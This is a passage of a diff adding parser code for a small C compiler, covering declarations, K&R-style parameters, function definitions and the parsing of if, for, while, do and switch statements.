ast_typedef(ty, name); + } else if (ty->isstatic && !isglobal) { + ensure_not_void(ty); + read_static_local_var(ty, name); + } else { + ensure_not_void(ty); + Node *var = (isglobal ? ast_gvar : ast_lvar)(ty, name); + if (next_token('=')) { + vec_push(block, ast_decl(var, read_decl_init(ty))); + } else if (sclass != S_EXTERN && ty->kind != KIND_FUNC) { + vec_push(block, ast_decl(var, NULL)); + } + } + if (next_token(';')) + return; + if (!next_token(',')) + errort(peek(), "';' or ',' are expected, but got %s", tok2s(peek())); + } +} + +/* + * K&R-style parameter types + */ + +static Vector *read_oldstyle_param_args() { + Map *orig = localenv; + localenv = NULL; + Vector *r = make_vector(); + for (;;) { + if (is_keyword(peek(), '{')) + break; + if (!is_type(peek())) + errort(peek(), "K&R-style declarator expected, but got %s", tok2s(peek())); + read_decl(r, false); + } + localenv = orig; + return r; +} + +static void update_oldstyle_param_type(Vector *params, Vector *vars) { + for (int i = 0; i < vec_len(vars); i++) { + Node *decl = vec_get(vars, i); + assert(decl->kind == AST_DECL); + Node *var = decl->declvar; + assert(var->kind == AST_LVAR); + for (int j = 0; j < vec_len(params); j++) { + Node *param = vec_get(params, j); + assert(param->kind == AST_LVAR); + if (strcmp(param->varname, var->varname)) + continue; + param->ty = var->ty; + goto found; + } + error("missing parameter: %s", var->varname); + found:; + } +} + +static void read_oldstyle_param_type(Vector *params) { + Vector *vars = read_oldstyle_param_args(); + update_oldstyle_param_type(params, vars); +} + +static Vector *param_types(Vector *params) { + Vector *r = make_vector(); + for (int i = 0; i < vec_len(params); i++) { + Node *param = vec_get(params, i); + vec_push(r, param->ty); + } + return r; +} + +/* + * Function definition + */ + +static Node *read_func_body(Type *functype, char *fname, Vector *params) { + localenv = make_map_parent(localenv); + localvars = make_vector(); + current_func_type = functype; + Node *funcname = ast_string(ENC_NONE, fname, strlen(fname) + 1); + map_put(localenv, "__func__", funcname); + map_put(localenv, "__FUNCTION__", funcname); + Node *body = read_compound_stmt(); + Node *r = ast_func(functype, fname, params, body, localvars); + current_func_type = NULL; + localenv = NULL; + localvars = NULL; + return r; +} + +static void skip_parentheses(Vector *buf) { + for (;;) { + Token *tok = get(); + if (tok->kind == TEOF) + error("premature end of input"); + vec_push(buf, tok); + if (is_keyword(tok, ')')) + return; + if (is_keyword(tok, '(')) + skip_parentheses(buf); + } +} + +// is_funcdef returns true if we are at beginning of a function definition. +// The basic idea is that if we see '{' or a type keyword after a closing +// parenthesis of a function parameter list, we were reading a function +// definition. (Usually '{' comes after a closing parenthesis. +// A type keyword is allowed for K&R-style function definitions.) +static bool is_funcdef() { + Vector *buf = make_vector(); + bool r = false; + for (;;) { + Token *tok = get(); + vec_push(buf, tok); + if (tok->kind == TEOF) + error("premature end of input"); + if (is_keyword(tok, ';')) + break; + if (is_type(tok)) + continue; + if (is_keyword(tok, '(')) { + skip_parentheses(buf); + continue; + } + if (tok->kind != TIDENT) + continue; + if (!is_keyword(peek(), '(')) + continue; + vec_push(buf, get()); + skip_parentheses(buf); + r = (is_keyword(peek(), '{') || is_type(peek())); + break; + } + while (vec_len(buf) > 0) + unget_token(vec_pop(buf)); + return r; +} + +static void backfill_labels() { + for (int i = 0; i < vec_len(gotos); i++) { + Node *src = vec_get(gotos, i); + char *label = src->label; + Node *dst = map_get(labels, label); + if (!dst) + error("stray %s: %s", src->kind == AST_GOTO ? "goto" : "unary &&", label); + if (dst->newlabel) + src->newlabel = dst->newlabel; + else + src->newlabel = dst->newlabel = make_label(); + } +} + +static Node *read_funcdef() { + int sclass = 0; + Type *basetype = read_decl_spec_opt(&sclass); + localenv = make_map_parent(globalenv); + gotos = make_vector(); + labels = make_map(); + char *name; + Vector *params = make_vector(); + Type *functype = read_declarator(&name, basetype, params, DECL_BODY); + if (functype->oldstyle) { + if (vec_len(params) == 0) + functype->hasva = false; + read_oldstyle_param_type(params); + functype->params = param_types(params); + } + functype->isstatic = (sclass == S_STATIC); + ast_gvar(functype, name); + expect('{'); + Node *r = read_func_body(functype, name, params); + backfill_labels(); + localenv = NULL; + return r; +} + +/* + * If + */ + +static Node *read_boolean_expr() { + Node *cond = read_expr(); + return is_flotype(cond->ty) ? ast_conv(type_bool, cond) : cond; +} + +static Node *read_if_stmt() { + expect('('); + Node *cond = read_boolean_expr(); + expect(')'); + Node *then = read_stmt(); + if (!next_token(KELSE)) + return ast_if(cond, then, NULL); + Node *els = read_stmt(); + return ast_if(cond, then, els); +} + +/* + * For + */ + +static Node *read_opt_decl_or_stmt() { + if (next_token(';')) + return NULL; + Vector *list = make_vector(); + read_decl_or_stmt(list); + return ast_compound_stmt(list); +} + +#define SET_JUMP_LABELS(cont, brk) \ + char *ocontinue = lcontinue; \ + char *obreak = lbreak; \ + lcontinue = cont; \ + lbreak = brk + +#define RESTORE_JUMP_LABELS() \ + lcontinue = ocontinue; \ + lbreak = obreak + +static Node *read_for_stmt() { + expect('('); + char *beg = make_label(); + char *mid = make_label(); + char *end = make_label(); + Map *orig = localenv; + localenv = make_map_parent(localenv); + Node *init = read_opt_decl_or_stmt(); + Node *cond = read_expr_opt(); + if (cond && is_flotype(cond->ty)) + cond = ast_conv(type_bool, cond); + expect(';'); + Node *step = read_expr_opt(); + expect(')'); + SET_JUMP_LABELS(mid, end); + Node *body = read_stmt(); + RESTORE_JUMP_LABELS(); + localenv = orig; + + Vector *v = make_vector(); + if (init) + vec_push(v, init); + vec_push(v, ast_dest(beg)); + if (cond) + vec_push(v, ast_if(cond, NULL, ast_jump(end))); + if (body) + vec_push(v, body); + vec_push(v, ast_dest(mid)); + if (step) + vec_push(v, step); + vec_push(v, ast_jump(beg)); + vec_push(v, ast_dest(end)); + return ast_compound_stmt(v); +} + +/* + * While + */ + +static Node *read_while_stmt() { + expect('('); + Node *cond = read_boolean_expr(); + expect(')'); + + char *beg = make_label(); + char *end = make_label(); + SET_JUMP_LABELS(beg, end); + Node *body = read_stmt(); + RESTORE_JUMP_LABELS(); + + Vector *v = make_vector(); + vec_push(v, ast_dest(beg)); + vec_push(v, ast_if(cond, body, ast_jump(end))); + vec_push(v, ast_jump(beg)); + vec_push(v, ast_dest(end)); + return ast_compound_stmt(v); +} + +/* + * Do + */ + +static Node *read_do_stmt() { + char *beg = make_label(); + char *end = make_label(); + SET_JUMP_LABELS(beg, end); + Node *body = read_stmt(); + RESTORE_JUMP_LABELS(); + Token *tok = get(); + if (!is_keyword(tok, KWHILE)) + errort(tok, "'while' is expected, but got %s", tok2s(tok)); + expect('('); + Node *cond = read_boolean_expr(); + expect(')'); + expect(';'); + + Vector *v = make_vector(); + vec_push(v, ast_dest(beg)); + if (body) + vec_push(v, body); + vec_push(v, ast_if(cond, ast_jump(beg), NULL)); + vec_push(v, ast_dest(end)); + return ast_compound_stmt(v); +} + +/* + * Switch + */ + +static Node *make_switch_jump(Node *var, Case *c) { + Node *cond; + if (c->beg == c->end) { + cond = ast_binop(type_int, OP_EQ, var, ast_inttype(type_int, c->beg)); + } else { + // [GNU] case i ... j is compiled to if (i <= cond && cond <= j) goto